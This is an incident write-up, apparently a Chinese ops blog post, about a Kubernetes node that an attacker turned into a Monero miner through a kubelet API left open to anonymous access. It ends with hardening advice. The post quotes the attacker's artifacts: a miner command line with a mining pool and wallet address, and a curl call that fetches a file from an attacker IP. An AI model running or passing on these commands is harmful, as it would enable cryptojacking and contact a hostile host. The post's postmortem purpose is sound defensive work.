记一次 Kubernetes 集群被入侵,服务器变矿机
作者:我的小米粥分你一半
博客链接:https://corvo.myseu.cn
入侵现象
检查到某台机器中出现了异常进程
./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat
简单来讲,就是我们的机器被用来挖矿了…
问题出现后,我们第一时间关闭了docker,其实应该隔离下环境, 把挖矿程序dump下来,以便后续分析。
具体原因排查
iptables为空
出现了异常进程,肯定是被入侵了,我首先看的是 iptables
。果不其然,机器上的 iptables 规则是空的,意味着这台机器在裸奔。
kubelet裸奔
内部同事提出了有可能是 kubelet 被入侵的问题,检查过其他组件后,开始检查 kubelet 组件
最后检查到 kubelet 日志中有异常:
kubelet设置不当
确认入侵问题,kubelet 参数设置错误,允许直接访问 kubelet 的 api
发现是 kubelet 的启动项中,该位置被注释掉:
然后文件中禁止匿名访问的配置没有读取
该项配置是由于我操作不当注释掉的
改进方案
其实该问题理论上讲是可以避免的,是因为出现了多层漏洞才会被有心人扫到,我从外到内整理了一下可能改进的策略。
机器防火墙设置,机器防火墙是整个系统最外层,即使机器的防火墙同步失败,也不能默认开放所有端口,而是应该全部关闭,等待管理员连接到tty终端上检查。
使用机器时,假如机器不是暴露给外部使用的,公网IP可有可无的时候,尽量不要有公网IP,我们的机器才上线1天就被扫描到了漏洞,可想而知,公网上是多么的危险
使用kubelet以及其他系统服务时,端口监听方面是不是该有所考量?能不能不监听
0.0.0.0
,而是只监听本机的内网IP。使用kubelet以及其他程序,设计或是搭建系统时, 对于匿名访问时的权限控制, 我们需要考虑到假如端口匿名会出现什么问题,是否应该允许匿名访问,如果不允许匿名访问,那么怎么做一套鉴权系统?
系统管理员操作时,是否有一个比较规范化的流程,是不是该只使用脚本操作线上环境? 手动操作线上环境带来的问题并不好排查和定位。
我这里不是抛出疑问,只是想告诉大家,考虑系统设计时,有必要考虑下安全性。
总结
- END -
30天拿下高含金量K8s CKA+CKS双认证!
K8s Kubectl集群管理工具使用技巧
K8S 常用资源 YAML 详解DevOps与CI/CD常见面试问题汇总
我会在Docker容器中抓包了!19 个 K8S集群常见问题总结,建议收藏运维高可用架构的 6 大常规方案
运维监控指标全方面总结9 个实用 Shell 脚本,建议收藏!
详解 K8S Helm CI/CD发布流程
ES+Redis+MySQL,这套高可用架构设计太顶了!一台服务器最大能支持多少条TCP连接?K8S运维必知必会的 Kubectl 命令总结
16 张图硬核讲解 Kubernetes 网络
史上最全 Jenkins Pipeline流水线详解主流监控系统 Prometheus 学习指南搭建一套完整的企业级 K8s 集群(二进制方式)
40个 Nginx 常问面试题Linux运维工程师 50个常见面试题
点亮,服务器三年不宕机